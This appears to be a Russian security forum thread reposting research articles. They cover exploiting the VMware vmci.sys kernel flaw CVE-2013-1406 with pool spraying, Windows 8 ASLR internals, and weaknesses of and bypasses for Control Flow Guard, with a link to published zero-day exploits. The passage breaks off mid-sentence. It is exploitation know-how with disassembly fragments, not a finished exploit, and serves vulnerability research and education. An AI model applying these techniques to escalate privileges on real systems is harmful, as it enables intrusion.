В зависимости от типа объекта, используемого для pool spraying, у нас есть возможность создавать окна заданного размера из свободных блоков путем удаления необходимого количества созданных ранее объектов. Но самым важным фактом, позволяющим нам контролировать выделение памяти из пула, является то, что распределитель стремится к максимальной производительности. Для максимально эффективного использования кэша процессора последний освобожденный блок памяти будет первым выделенным. В этом вся суть контролируемого выделения, потому что есть возможность угадать адрес выделяемого блока.
Конечно, размер блока имеет значение. Поэтому необходимо предварительно расcчитать размер окна из освобожденных блоков. Если мы хотим контролируемо выделить блок размером в 0x315 байт при размере объектов для pool spraying в 0x20 байт, необходимо освободить 0x315 / 0x20 = (0x18 + 1) блоков. Думаю, это понятно.
Несколько заметок о том, как успешно использовать технику kernel pool spraying:
VMware CVE 2013-1406
В начале февраля были выпущены интересные рекомендации для обновления продуктов VMware. Судя по ним, в не обновленных компонентах присутствовала уязвимость, приводящая к локальному повышению привилегий как на основной, так и на гостевой ОС. Обходить стороной такие «вкусные» уязвимости нельзя.
Уязвимым компонентом был vmci.sys. VMCI расшифровывается как Virtual Machine Communication Interface. Этот интерфейс используется для взаимодействия между виртуальными машинами и основной ОС. VMCI предоставляет проприетарный тип сокетов, реализованных в виде провайдера Windows Socket Service Provider в библиотеке vsocklib.dll. Драйвер vmci.sys создает виртуальное устройство, реализующее необходимые функциональные возможности. Он всегда запущен на основной ОС. Что касается гостевых систем, для работоспособности VMCI необходимо установить VMware tools.
При написании любого обзора приятно объяснить высокоуровневую логику уязвимости, чтобы обзор превратился в детектив. К сожалению, в данном случае сделать это не удастся, потому что открытой информации о реализации VMCI весьма немного. Однако я думаю, что разработчики эксплойтов не переживают по этому поводу. По крайней мере выгоднее скорее получить рабочий эксплойт, чем потратить кучу времени на разбор того, как работает вся система целиком.
PatchDiff выявил три запатченные функции. Все они относились к обработке одного и того же управляющего кода IOCTL 0x8103208C. Видимо, все конкретно пошло не так с его обработкой…
Третья обновленная функция в конечном итоге вызывалась и из первой, и из второй. Она должна была выделять блок запрошенного размера, умноженного на 0x68, и инициализировать его, заполнив нулями. Этот блок содержит внутреннюю структуру данных для обработки запроса. Проблема была в том, что размер выделяемого блока указывался в режиме пользователя и толком не проверялся, в результате чего внутренняя структура не выделялась, что приводило к некоторым интересным последствиям.
Для управляющего кода 0x8103208C указывались входной и выходной буфер. Чтобы добраться до уязвимого места, необходимо, чтобы его размер был равен 0x624 байта. Чтобы обработать запрос, выделялась внутренняя структура размером в 0x20C байт. Первые ее 4 байта заполнялись значением, указанным по адресу [user_buffer + 0x10]. Именно эти байты использовались в дальнейшем для выделения второй структуры данных, адрес на которую указывался в конце первой. При всем этом, вне зависимости от результата выделения второй структуры вызывалась некая диспетчерская функция.
Диспетчерская функция
Данная диспетчерская функция искала указатель для обработки. Обработка включала в себя разыменовывание некоторого объекта и вызова некоторой функции в зависимости от установленных в структуре флагов. Но поскольку при некорректных параметрах выделить структуру для обработки не удавалось, диспетчерская функция просто «проезжала» за границу первого блока. Такая обработка приводила к нарушению доступа и «синему экрану смерти».
Таким образом мы имеем возможность исполнять произвольный код по
контролируемому адресу:
Code:Copy to clipboard
.text:0001B946 UnsafeFire proc near
.text:0001B946
.text:0001B946
.text:0001B946 arg_0 = dword ptr 8
.text:0001B946
.text:0001B946 000 mov edi, edi
.text:0001B948 000 push ebp
.text:0001B949 004 mov ebp, esp
.text:0001B94B 004 mov eax, [ebp+arg_0]
.text:0001B94E 004 push eax
.text:0001B94F 008 call dword ptr [eax+0ACh] ; BANG!!!!
.text:0001B955 004 pop ebp
.text:0001B956 000 retn 4
.text:0001B956 UnsafeFire endp
Эксплуатация
Поскольку диспетчерская функция выходит за границу блока, она встречается либо с соседним блоком, либо с не спроецированной страницей. Если она выходит в не спроецированную память, случится необрабатываемое исключение, и, следовательно, отобразится «синий экран». Но при попадании на соседний блок, диспетчерская функция интерпретирует его заголовок как указатель на структуру для обработки.
Допустим, имеется x86-система. Четыре байта, которые диспетчерская функция пытается интерпретировать как указатель, на самом деле являются полями Previous Block Size, Pool Index, Current Block Size и флагами Pool Type. Поскольку нам известны размер и индекс пула для обрабатываемого блока, то нам известно значение младшего слова указателя:
0xXXXX0043 – 0x43 является размером блока, который становится полем Previous Size для соседнего. 0 – индекс пула, который гарантированно будет именно нулем, поскольку данные блоки находятся в неподкачиваемом пуле, а он только один в системе. Заметьте, что если соседние блоки разделяют одну и ту же страницу памяти, они принадлежат одному и тому же типу и индексу пула.
Старшее слово хранит в себе размер блока, который мы не можем предугадать, и флаги pool type, которые, наоборот, можно предугадать:
Таким образом, имеем следующие регионы памяти, действительные для Windows 7 и 8:
Основываясь на приведенной выше информации, вы можете самостоятельно вычислить регионы памяти для Windows XP и ей подобных.
Как видно, эти регионы принадлежат пространству пользователя, поэтому мы можем заставить диспетчерскую функцию исполнить любой код, включая подконтрольный нам. Для этого сначала необходимо спроецировать указанные регионы памяти в процессе, а затем для каждых 0x10000 байт удовлетворить требования диспетчерской функции:
Code:Copy to clipboard
.text:0001B2E1 010 lea edx, [eax+38h]
.text:0001B2E4 010 lock xadd [edx], ecx
.text:0001B2E8 010 cmp ecx, 1
Примите во внимание тот факт, что для разных продуктов VMware значения
смещений могут быть разными.
Все правильно сделано!
Повышение стабильности эксплойта
Несмотря на то, что мы выработали хорошую стратегию для эксплуатации данной уязвимости, она все еще остается ненадежной. Например, диспетчерская функция может попасть на свободный блок, поля которого предугадать невозможно. Несмотря на то, что заголовок такого блока будет интерпретирован как указатель (потому что он не равен нулю), результатом его обработки будет ошибка «синемий экран». Подобное случится также, когда диспетчерская функция попадет в неспроецированный участок памяти.
В данном случае на помощь приходит техника kernel pool spraying. В качестве объекта pool spraying я выбрал семафоры, поскольку они являются наиболее подходящими по размеру. В результате применения данной техники, стабильность эксплойта повысилась в разы.
Напомню, что в системе Windows 8 появилась поддержка такого механизма защиты, как SMEP, поэтому лень разработчика несколько усложняет разработку эксплойта. Написание базонезависимого кода с обходом SMEP остается упражнением для читателя.
Что касается х64-систем, есть проблема с тем, что размер указателя стал равен 8 байтам. Это значит, что старшее двойное слово (DWORD) указателя будет попадать на поле Pool Tag. А поскольку большинство драйверов и подсистем ядра используют ASCII-символы для таких меток, указатель попадает в пространство неканонических адресов и не может использоваться для эксплуатации. На момент написания статьи я ничего дельного по этому поводу не придумал.
Итог
Надеюсь, приведенная информация была полезной. Прошу прощения за то, что не смог уместить все необходимое в пару абзацев. Желаю успехов в исследованиях и эксплуатации во имя всецелого повышения уровня безопасности.
P.S. Напоминаю, что для устранения уязвимости нужно обновить не только
основную, но и все гостевые системы!
P.P.S Если вы ощущаете некоторый дискомфорт от перевода некоторых терминов,
будьте готовы мириться с ним в будущем, поскольку данный перевод рекомендован
на языковом портале Microsoft.
Demo!
Ссылки
[1] Tarjei Mandt. Kernel Pool Exploitation on Windows 7. Black Hat DC, 2011
[2] Nikita Tarakanov. Kernel Pool Overflow from Windows XP to Windows 8.
ZeroNights, 2011
[3] Kostya Kortchinsky. Real world kernel pool exploitation. SyScan, 2008
[4] SoBeIt. How to exploit Windows kernel memory pool. X’con, 2005
Автор: Артём Шишкин (с) Positive Technologies
ASLR — это Address Space Layout Randomization, рандомизация адресного пространства. Это механизм обеспечения безопасности, который включает в себя рандомизацию виртуальных адресов памяти различных структур данных, чувствительных к атакам. Расположение в памяти целевой структуры сложно предугадать, поэтому шансы атакующего на успех малы.
Реализация ASLR в Windows тесно связана с механизмом релокации (relocation) исполняемых образов. Релокация позволяет PE-файлу загружаться не только по фиксированной предпочитаемой базе. Секция релокаций в PE-файле является ключевой структурой при перемещении образа. Она описывает, какие необходимо внести изменения в определенные элементы кода и данных для обеспечения корректного функционирования приложения по другому базовому адресу.
Ключевую роль в работе ASLR играют генератор случайных чисел и пара функций, модифицирующих базовый адрес загружаемого PE-файла.
Windows 8 полагается на генератор случайных чисел, который по сути является генератором Фибоначчи с задержкой с параметрами j=24 и k=55. Его зерно инициализируется в модуле winload.exe при старте системы. Winload.exe собирает энтропию из различных источников: ключи реестра, TPM, текущее время, ACPI, а также при помощи новой инструкции rdrand. Инициализация ядерного генератора случайных чисел детально описана в источнике [1].
Рассмотрим подробнее новую инструкцию rdrand. В процессорах, основанных на архитектуре Ivy Bridge, была представлена технология Intel Secure Key для генерации высококачественных псевдослучайных чисел. Она реализована при помощи аппаратного цифрового генератора случайных чисел (DRNG) и инструкции rdrand для программного извлечения значений из него.
С аппаратной точки зрения DRNG представляет собой отдельный модуль на процессорном чипе. Он работает асинхронно с ядрами процессора на частоте 3 ГГц. DRNG использует тепловой шум в качестве источника энтропии; кроме того, в нем присутствует встроенная система тестирования, выполняющая серию проверок качества извлекаемых случайных значений. В случае неудовлетворительного результата тестирования, DRNG перестает генерировать случайные значения.
Для извлечения случайных чисел из DRNG используется инструкция rdrand. В документации к ней отмечено, что теоретически DRNG может возвращать нулевые значения в случае неудовлетворительного результата тестирования или опустошения внутренней очереди случайных значений. Однако на практике опустошить DRNG не удалось.
Intel Secure Key является мощным генератором случайных чисел, производящим высококачественные случайные значения с очень высокой скоростью. Практически невозможно предугадать изначальное состояние генератора, инициализированного при помощи инструкции rdrand (в отличие от прочих источников энтропии).
Внутренней интерфейсной функцией ядерного ГПСЧ является ExGenRandom(). Она также имеет экспортируемую функцию-обертку RtlRandomEx(). ASLR в Windows 8 использует ExGenRandom() — в отличие от предыдущих версий, которые полагались на инструкцию rdtsc. Последняя используется для получения счетчика времени на ЦПУ, который изменяется линейно и, следовательно, не может обеспечить должного качества генерируемых значений, что небезопасно.
Основной функцией механизма ASLR является MiSelectImageBase(). В Windows 8 она может быть описана следующим псевдокодом.
Code:Copy to clipboard
#define MI_64K_ALIGN(x) (x + 0x0F) >> 4
#define MmHighsetUserAddress 0x7FFFFFEFFFF
typedef PIMAGE_BASE ULONG_PTR;
typedef enum _MI_MEMORY_HIGHLOW
{
MiMemoryHigh = 0,
MiMemoryLow = 1,
MiMemoryHighLow = 2
} MI_MEMORY_HIGHLOW, *PMI_MEMORY_HIGHLOW;
MI_MEMORY_HIGHLOW MiSelectBitMapForImage(PSEGMENT pSeg)
{
if (!(pSeg->SegmentFlags & FLAG_BINARY32)) // WOW binary
{
if (!(pSeg->ImageInformation->ImageFlags & FLAG_BASE_BELOW_4GB))
{
if (pSeg->BasedAddress > 0x100000000)
{ return MiMemoryHighLow; }
else
{ return MiMemoryLow; }
}
}
return MiMemoryHigh;
}
PIMAGE_BASE MiSelectImageBase(void* a1<rcx>, PSEGMENT pSeg)
{
MI_MEMORY_HIGHLOW ImageBitmapType;
ULONG ImageBias;
RTL_BITMAP *pImageBitMap;
ULONG_PTR ImageTopAddress;
ULONG RelocationSizein64k;
MI_SECTION_IMAGE_INFORMATION *pImageInformation;
ULONG_PTR RelocDelta;
PIMAGE_BASE Result = NULL;
// rsi = rcx
// rcx = rdx
// rdi = rdx
pImageInformation = pSeg->ImageInformation;
ImageBitmapType = MiSelectBitMapForImage(pSeg);
a1->off_40h = ImageBitmapType;
if (ImageBitmapType == MiMemoryLow)
{
// 64-bit executable with image base below 4 GB
ImageBias = MiImageBias64Low;
pImageBitMap = MiImageBitMap64Low;
ImageTopAddress = 0x78000000;
}
else
{
if (ImageBitmapType == MiMemoryHighLow)
{
// 64-bit executable with image base above 4 GB
ImageBias = MiImageBias64High;
pImageBitMap = MiImageBitMap64High;
ImageTopAddress = 0x7FFFFFE0000;
}
else
{
// MiMemoryHigh 32-bit executable image
ImageBias = MiImageBias;
pImageBitMap = MiImageBitMap;
ImageTopAddress = 0x78000000;
}
}
// pSeg->ControlArea->BitMap ^= (pSeg->ControlArea->BitMap ^ (ImageBitmapType << 29)) & 0x60000000;
// or bitfield form
pSeg->ControlArea.BitMap = ImageBitmapType;
RelocationSizein64k = MI_64K_ALIGN(pSeg->TotalNumberOfPtes);
if (pSeg->ImageInformation->ImageCharacteristics & IMAGE_FILE_DLL)
{
ULONG StartBit = 0;
ULONG GlobalRelocStartBit = 0;
StartBit = RtlFindClearBits(pImageBitMap, RelocationSizein64k, ImageBias);
if (StartBit != 0xFFFFFFFF)
{
StartBit = MiObtainRelocationBits(pImageBitMap, RelocationSizein64k, StartBit, 0);
if (StartBit != 0xFFFFFFFF)
{
Result = ImageTopAddress - (((RelocationSizein64k) + StartBit) << 0x10);
if (Result == (pSeg->BasedAddress - a1->SelectedBase))
{
GlobalRelocStartBit = MiObtainRelocationBits(pImageBitMap, RelocationSizein64k, StartBit, 1);
StartBit = (GlobalRelocStartBit != 0xFFFFFFFF) ? GlobalRelocStartBit : StartBit;
Result = ImageTopAddress - (RelocationSizein64k + StartBit) << 0x10;
}
a1->RelocStartBit = StartBit;
a1->RelocationSizein64k = RelocationSizein64k;
pSeg->ControlArea->ImageRelocationStartBit = StartBit;
pSeg->ControlArea->ImageRelocationSizeIn64k = RelocationSizein64k;
return Result;
}
}
}
else
{
// EXE image
if (a1->SelectedBase != NULL)
{ return pSeg->BasedAddress; }
if (ImageBitmapType == MiMemoryHighLow)
{
a1->RelocStartBit = 0xFFFFFFFF;
a1->RelocationSizein64k = (WORD)RelocationSizein64k;
pSeg->ControlArea->ImageRelocationStartBit = 0xFFFFFFFF;
pSeg->ControlArea->ImageRelocationSizeIn64k = (WORD)RelocationSizein64k;
return ((DWORD)(ExGenRandom(1) % (0x20001 - RelocationSizein64k)) + 0x7F60000) << 16;
}
}
ULONG RandomVal = ExGenRandom(1);
RandomVal = (RandomVal % 0xFE + 1) << 0x10;
RelocDelta = pSeg->BasedAddress - a1->SelectedBase;
if (RelocDelta > MmHighsetUserAddress)
{ return 0; }
if ((RelocationSizein64k << 0x10) > MmHighsetUserAddress)
{ return 0; }
if (RelocDelta + (RelocationSizein64k << 0x10) <= RelocDelta)
{ return 0; }
if (RelocDelta + (RelocationSizein64k << 0x10) > MmHighsetUserAddress)
{ return 0; }
if (a1->SelectedBase + RandomVal == 0)
{ Result = pSeg->BasedAddress; }
else
{
if (RelocDelta > RandomVal)
{ Result = RelocDelta - RandomVal; }
else
{
Result = RelocDelta + RandomVal;
if (Result < RelocDelta)
{ return 0; }
if (((RelocationSizein64k << 0x10) + RelocDelta + RandomVal) > 0x7FFFFFDFFFF)
{ return 0; }
if (((RelocationSizein64k << 0x10) + RelocDelta + RandomVal) < (RelocDelta + (RelocationSizein64k << 0x10))))
{ return 0; }
}
}
//random_epilog
a1->RelocStartBit = 0xFFFFFFFF;
a1->RelocationSizein64k = RelocationSizein64k;
pSeg->ControlArea->ImageRelocationStartBit = 0xFFFFFFFF;
pSeg->ControlArea->ImageRelocationSizeIn64k = RelocationSizein64k;
return Result;
}
Как можно заметить, существуют три различные битовые карты образов. Первая предназначена для 32-разрядных исполняемых приложений, вторая — для 64-разрядных, третья — для 64-разрядных приложений с базой выше 4 ГБ, что дает им виртуальный адрес с высокой энтропией.
Рандомизация исполняемых образов влияет непосредственно на их базовый адрес. В случае загрузки библиотек, ASLR является частью процесса релокации модуля: случайной величиной при выборе нового базового адреса является переменная ImageBias, которая инициализируется при старте системы.
Code:Copy to clipboard
VOID MiInitializeRelocations()
{
MiImageBias = ExGenRandom(1) % 256;
MiImageBias64Low = ExGenRandom(1) % MiImageBitMap64Low.SizeOfBitMap;
MiImageBias64High = ExGenRandom(1) % MiImageBitMap64High.SizeOfBitMap;
return;
}
Битовые карты исполняемых образов отображают адресное пространство текущих пользовательских процессов. Исполняемый образ получает базовый адрес во время загрузки, его повторная загрузка в другие процессы будет производиться по тому же базовому адресу. Такое поведение загрузчика является наиболее эффективным в смысле быстродействия и экономии памяти благодаря использованию исполняемыми образами механизма копирования при записи (copy-on-write).
Текущая реализация ASLR в Windows 8 позволяет рандомизировать базовый адрес приложений, не поддерживающих рандомизацию. Ниже приведена таблица, демонстрирующая поведение загрузчика в зависимости от комбинаций флагов линкера, связанных с ASLR.
* Невозможно собрать образ при помощи MSVS, поскольку флаг /DYNAMICBASE
требует флаг /FIXED:NO, который генерирует секцию релокаций
Можно заметить изменение в поведении загрузчика, характерное для Windows 8: если исполняемый образ имеет секцию релокаций, то он будет загружен в любом случае. Это еще одно свидетельство взаимосвязи между ASLR и механизмом релокации
В целом можно сказать, что реализация новых функций ASLR в Windows 8 не оказывает значительного влияния на логику кода, поэтому достаточно сложно обнаружить в ней полезные уязвимости. Увеличение энтропии для рандомизации различных объектов по сути является заменой константного выражения в коде. Кроме того, по графам кода можно отметить проведение инспекции кода.
Источники
[1] Valasek Ch., Mandt T. Windows 8 Heap Internals. 2012.
[2] Johnson K., Miller M. Exploit Mitigation Improvements in Windows 8.
Slides, Black Hat USA, 2012.
[3] Intel. Intel®Digital Random Number Generator (DRNG): Software
Implementation Guide. Intel Corporation, 2012.
[4] Whitehouse O. An Analysis of Address Space Layout Randomization on Windows
Vista. Symantec Advances Threat Research, 2007.
[5] Sotirov A., Dowd M. Bypassing Browser Memory Protections. 2008.
Авторы: Артем Шишкин и Илья Смит, исследовательский центр Positive Research.
![thehackernews.com](/proxy.php?image=https%3A%2F%2Fblogger.googleusercontent.com%2Fimg%2Fb%2FR29vZ2xl%2FAVvXsEip0MLHNlRmaq18UhcXKYoltnPinr_boBtzlx9lIfjogHXjv2ceDDD3wX4G0VwSqhzlnLW9Hp27VLiLkDiAcNsYgOeGSc- VBSG68ZL_4azNjAaZdwMyLH2g5tsWd4yYZ1LVn3X7Um_KQScW%2Fs728-rw-e365%2Fmicrosoft- windows-zero-day- vulnerability.jpg&hash=dccda9a0e8acad61f4ca5973b2dd7d16&return_error=1)
Hours ](https://thehackernews.com/2019/05/microsoft-zero-day- vulnerability.html)
Hacker "SandboxEscaper" Disclosed Exploits for 3 Unpatched Microsoft Zero-Day Vulnerabilities in Less Than 24 Hours
![thehackernews.com](/proxy.php?image=https%3A%2F%2Fblogger.googleusercontent.com%2Fimg%2Fb%2FR29vZ2xl%2FAVvXsEgQQyjwPYjJP0wddSEB8Dlpr3dlnQUs52-WmlrZfqJoBPeOvv2Zoqlq- FhEAz_Xeprj_mtrI1MGCW1JS840JUjVEK6VoNe6zCNNTw_7YmyvNmf3E5pprZ3zqP8lszq74Wt97SvbJo5yeuyep0U6-nGs0vdarg4_WUrc5r6L0ML0xE- BsPipJd2-1PMHTvO1%2Fs32-rw-e365%2Fthn.jpg&hash=731201cea47c3329ac66a269dee35cf0&return_error=1) thehackernews.com
Видео:
Эксплойты тут:
](https://github.com/SandboxEscaper/polarbearrepo)
Contribute to SandboxEscaper/polarbearrepo development by creating an account on GitHub.
github.com
Обнаруженная Сергеем Тошиным, исследователем безопасности мобильных устройств
в компании Positive Technologies по обнаружению угроз, эта ошибка
[возникла](https://www.ptsecurity.com/ww-en/about/news/high-risk-
vulnerability-in-android-devices-discovered-by-positive-technologies/) в
Chromium, проекте с открытым исходным кодом, который лежит в основе Chrome и
многих других браузеров. В результате злоумышленник может атаковать не только
мобильный Chrome, но и другие популярные мобильные браузеры, основанные на
Chromium. Более конкретно, Chromium поддерживает Android с функцией WebView,
которая работает за кулисами, когда вы нажимаете на ссылку в игре или
социальной сети; это то, что позволяет этим веб-страницам загружаться в своего
рода мини-браузер без необходимости покидать приложение. Используя уязвимость
Chromium, хакеры могут использовать WebView для получения пользовательских
данных и получения широкого доступа к устройствам.
Источник
Hackerone
Компания Microsoft не оставляет попыток победить в бесконечной войне с эксплоитописателями, раз за разом реализуя новые техники по защите приложений. На сей раз разработчики операционной системы Windows подошли к решению данного вопроса более фундаментально, переведя свой взгляд на корень проблемы. Работа почти каждого эксплоита так или иначе нацелена на перехват потока исполнения приложения, следовательно, не помешало бы "научить" приложения следить за этим моментом.
Концепция Control Flow Integrity (целостность потока исполнения) была [описана ](https://www.microsoft.com/en-us/research/wp- content/uploads/2005/11/ccs05-cfi.pdf)еще в 2005 году. И вот, 10 лет спустя, разработчики из компании Microsoft представили свою неполную реализацию данного концепта — Control Flow Guard.
Что такое Control Flow Guard
Control Flow Guard (Guard CF, CFG) — относительно новый механизм защиты Windows (exploit mitigation), нацеленный на то, чтобы усложнить процесс эксплуатации бинарных уязвимостей в пользовательских приложениях и приложениях режима ядра. Работа данного механизма заключается в валидации неявных вызовов (indirect calls), предотвращающей перехват потока исполнения злоумышленником (например, посредством перезаписи таблицы виртуальных функций). В сочетании с предыдущими механизмами защиты (SafeSEH, ASLR, DEP и т.д.) являет собой дополнительную головную боль для создателей эксплоитов.
Данная секьюрити фича доступна пользователям ОС Microsoft Windows 8.1 (Update
3, KB3000850) и Windows 10.
Компиляция программ с поддержкой CFG доступна в Microsoft Visual Studio 2015
([как включить?](https://msdn.microsoft.com/en-
us/library/windows/desktop/mt637065(v=vs.85).aspx)).
Аналогичная реализация механизма защиты на основе концепции Control Flow Integrity для ОС семейства Linux имеется в расширении PaX.
Click to expand...
Как работает Control Flow Guard
Рассмотрим принцип работы CFG в пользовательском режиме. Данный механизм имеет
два основных компонента: битовую карту адресов (управляется ядром) и процедуру
проверки указателя вызываемой функции (используется пользовательскими
приложениями).
Вся служебная информация CFG заносится в IMAGE_LOAD_CONFIG_DIRECTORY
исполняемого файла во время компиляции:
В заголовок IMAGE_NT_HEADERS.OptionalHeader.DllCharacteristics заносится флаг IMAGE_DLLCHARACTERISTICS_GUARD_CF, показывающий, что данный исполняемый файл поддерживает механизм CFG.
Всю служебную информацию можно посмотреть при помощи инструмента dumpbin.exe из Microsoft Visual Studio 2015 (Microsoft Visual Studio 14.0\VC\bin\dumpbin.exe), запустив его с ключом /loadconfig.
GuardFlags
Заголовочный файл winnt.h для Windows 10 (1511) содержит следующие флаги CFG (последний является маской, а не флагом):
Стоит отметить, что это неполный список существующих флагов. Наиболее полный список можно получить из внутренностей файла link.exe (компоновщик):
Также стоит обратить внимание на присутствие некоторых интересных флагов,
официальной информации о которых нет. Разработчики Microsoft, по всей
видимости, тестируют дополнительный механизм CFG для проверки адреса записи
(IMAGE_GUARD_CFW_INSTRUMENTED).
Битовая карта
Во время загрузки ОС ядром (функция nt!MiInitializeCfg) создается битовая карта nt!MiCfgBitMapSection, которая является общей (shared) секцией для всех процессов. При запуске процесса, поддерживающего CFG, происходит отображение (mapping) битовой карты в адресное пространство процесса. После чего адрес и размер битовой карты заносятся в структуру ntdll!LdrSystemDllInitBlock.
Сопоставлением адресов функций с битами в битовой карте занимается загрузчик исполняемых файлов (функция nt!MiParseImageCfgBits). Каждый бит в битовой карте отвечает за 8 байт пользовательского адресного пространства процесса. Адреса начала всех валидных функций соотносятся с единичным битом по соответствующему смещению в битовой карте, а всё остальное — 0.
Процедура проверки указателя вызываемой функции
Каждый неявный вызов в программе на этапе компиляции обрамляется проверкой адреса вызываемой функции. Адрес процедуры проверки устанавливает загрузчик исполняемых файлов, поскольку изначально установлен адрес пустой процедуры, тем самым сохраняя обратную совместимость.
Для наглядности посмотрим на один и тот же код, скомпилированный без CFG и с ним.
Оригинальный код на C++:
Code:Copy to clipboard
class CSomeClass
{
public:
virtual void doSomething()
{
std::cout << "hello";
}
};
int main()
{
CSomeClass *someClass = new CSomeClass();
someClass->doSomething();
return 0;
}
ASM листинг (вырезка):
Code:Copy to clipboard
mov eax, [ecx] ; EAX = CSomeClass::vftable
call dword ptr [eax] ; [EAX] = CSomeClass::doSomething()
С ключом компиляции /guard:cf :
Code:Copy to clipboard
mov eax, [edi] ; EAX = CSomeClass::vftable
mov esi, [eax] ; ESI = CSomeClass::doSomething()
mov ecx, esi
call ds:___guard_check_icall_fptr ; checks that ECX is valid function pointer
mov ecx, edi
call esi
В первом случае код подвержен атаке с использованием техники подмены таблицы виртуальных функций. Если атакующий при эксплуатации уязвимости способен перезаписать данные объекта, то он может подменить таблицу виртуальных функций таким образом, что вызов функции someClass->doSomething() приведет к выполнению контролируемого атакующим кода, тем самым перехватив поток исполнения приложения.
В случае же использования Control Flow Guard, адрес вызываемой функции предварительно будет сверен с битовой картой. Если соответствующий бит будет равен нулю, произойдет программное исключение.
При запуске данного приложения на ОС, которые поддерживают механизм Guard CF,
загрузчик исполняемых файлов построит битовую карту и перенаправит адрес
проверяющей процедуры на функциюntdll!LdrpValidateUserCallTarget.
Данная функция в ОС Windows 10 (build 1511) реализована следующим образом:
Изучим алгоритм данной функции на примере входного адреса 0x0B3385B0.
B3385B016 = 1011001100111000010110110 0002
Проверяемый адрес данная функция получает через регистр ecx. В регистр edx заносится адрес битовой карты. В моем случае битовая карта расположилась по адресу 0x01430000.
Три байта (24 бита) старшего порядка (подчеркнуты) адреса соответствуют смещению в битовой карте. В данном случае смещение будет равно 0xB3385. Единица измерения битовой карты равна 4 байтам (32 бита), поэтому для получения нужной ячейки необходимо вычислить базовый адрес карты + смещение * 4. Для данного примера получаем 0x01430000 + 0xB3385 * 4 = 0x16FCE14. Значение ячейки битовой карты записывается в регистр edx.
Целевую ячейку получили, теперь требуется определить номер интересующего нас бита. Номером является значение следующих 5 бит адреса (выделены жирным). Но нужно учитывать, что если проверяемый адрес не выравнен по границе 16 байт (address & 0xf != 0), то использоваться будет нечетный бит (offset | 0x1). В данном случае адрес выравнен и номер бита будет равен 101102 = 2210.
Теперь остается только проверить значение бита, проведя bit test. Инструкция bt проверяет значение бита первого регистра, порядковый номер которого берется из 5 младших бит (по модулю 32) второго регистра. В случае, если бит равен 1, будет выставлен Carry Flag (CF) и программа продолжит свое выполнение в обычном режиме.
В ином случае будет вызвана функция ntdll!RtlpHandleInvalidUserCallTarget и работа программы завершится 29-ым прерыванием с параметром 0xA на стеке, что означает nt!_KiRaiseSecurityCheckFailure(FAST_FAIL_GUARD_ICALL_CHECK_FAILURE).
Проверив 22-ой бит, можно убедиться, что адрес вызываемой функции является
валидным.
Реализация данного алгоритма на Python выглядит следующим образом:
Code:Copy to clipboard
def calculate_bitmap_offset(addr):
offset = (addr >> 8) * 4
bit = (addr >> 3) % 32
aligned = (addr & 0xF == 0)
if not aligned:
bit = bit | 1
print "addr = 0x%08x, offset = 0x%x, bit index = %u, aligned? %s" % (addr, offset, bit, "yes" if aligned else "no")
calculate_bitmap_offset(0x0B3385B0)
Результат работы скрипта:
Code:Copy to clipboard
addr = 0x0b3385b0, offset = 0x2cce14, bit index = 22, aligned? yes
Исключения
Не во всех случаях вызов невалидной функции будет заканчиваться 29-ым прерыванием. В функции ntdll!RtlpHandleInvalidUserCallTarget происходят следующие проверки:
Псевдокод данной функции выглядит следующим образом:
Официальная информация про "suppressed" вызовы отсутствует. Можно лишь сказать, что данные вызовы требуют поддержку компилятора — должна быть установлена маска IMAGE_GUARD_CF_FUNCTION_TABLE_SIZE_MASK во флагах GuardFlags и компилятор должен сгенерировать расширенную таблицу. В байтах, соответствующих данной маске, хранится значение дополнительного размера для элементов таблицы GuardCFFunctionTable. Если адрес функции является "suppressed", то байт, следующий за адресом, должен быть равен единице.
Разрешить "suppressed" вызовы можно, например, с помощью ветки реестра HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options, установив параметр CFGOptions для требуемого приложения в значение 1.
Слабые места Control Flow Guard
Как и любой другой защитный механизм, CFG имеет некоторые слабые места:
Code:Copy to clipboard
addr = 0x08f38480, offset = 0x23ce10, bit index = 16, aligned? yes
addr = 0x08f38481, offset = 0x23ce10, bit index = 17, aligned? no
addr = 0x08f38482, offset = 0x23ce10, bit index = 17, aligned? no
addr = 0x08f38483, offset = 0x23ce10, bit index = 17, aligned? no
addr = 0x08f38484, offset = 0x23ce10, bit index = 17, aligned? no
addr = 0x08f38485, offset = 0x23ce10, bit index = 17, aligned? no
addr = 0x08f38486, offset = 0x23ce10, bit index = 17, aligned? no
addr = 0x08f38487, offset = 0x23ce10, bit index = 17, aligned? no
addr = 0x08f38488, offset = 0x23ce10, bit index = 17, aligned? no
addr = 0x08f38489, offset = 0x23ce10, bit index = 17, aligned? no
addr = 0x08f3848a, offset = 0x23ce10, bit index = 17, aligned? no
addr = 0x08f3848b, offset = 0x23ce10, bit index = 17, aligned? no
addr = 0x08f3848c, offset = 0x23ce10, bit index = 17, aligned? no
addr = 0x08f3848d, offset = 0x23ce10, bit index = 17, aligned? no
addr = 0x08f3848e, offset = 0x23ce10, bit index = 17, aligned? no
addr = 0x08f3848f, offset = 0x23ce10, bit index = 17, aligned? no
addr = 0x08f38490, offset = 0x23ce10, bit index = 18, aligned? yes
addr = 0x08f38491, offset = 0x23ce10, bit index = 19, aligned? no
addr = 0x08f38492, offset = 0x23ce10, bit index = 19, aligned? no
addr = 0x08f38493, offset = 0x23ce10, bit index = 19, aligned? no
addr = 0x08f38494, offset = 0x23ce10, bit index = 19, aligned? no
...
Из этого следует, что у атакующего есть возможность вызвать недоверенную функцию в непосредственной близости от доверенной функции, при условии, что последняя не выравнена.
Реализация обхода Control Flow Guard на примере Adobe Flash Player
Начиная с Windows 8 плагин Adobe Flash Player интегрирован в Internet Explorer, а с Windows 8.1 (Update 3) он поставляется с поддержкой CFG. Существует несколько реализаций обхода Control Flow Guard в эксплоитах под Adobe Flash Player, некоторые из которых актуальны и по сей день.
Обход при помощи динамического кода
В Adobe Flash Player активно используется JIT-компиляция, которая позволяет избегать выполнения такой ресурсоемкой операции, как интерпретация ActionScript кода. Но, как было сказано ранее, динамически генерируемые функции требуют дополнительного внимания со стороны разработчиков. Два метода обхода, описанные ниже, являются следствием упущения разработчиков в отношении работы с выделением памяти.
Отсутствие проверок неявных вызовов в динамическом коде
Данный метод был предложен и реализован исследователем Francisco Falcón из
Core Security в своем
[анализе](https://blog.coresecurity.com/2015/03/25/exploiting-
cve-2015-0311-part-ii-bypassing-control-flow-guard-on-windows-8-1-update-3/)
эксплоита для уязвимости CVE-2015-0311. Оригинальная статья довольно хорошо и
подробно описывает процесс реализации обхода. Суть метода заключается в
модификации внутренней таблицы виртуальных функций определенного ActionScript
класса. После чего один из методов данного класса должен быть вызван из тела
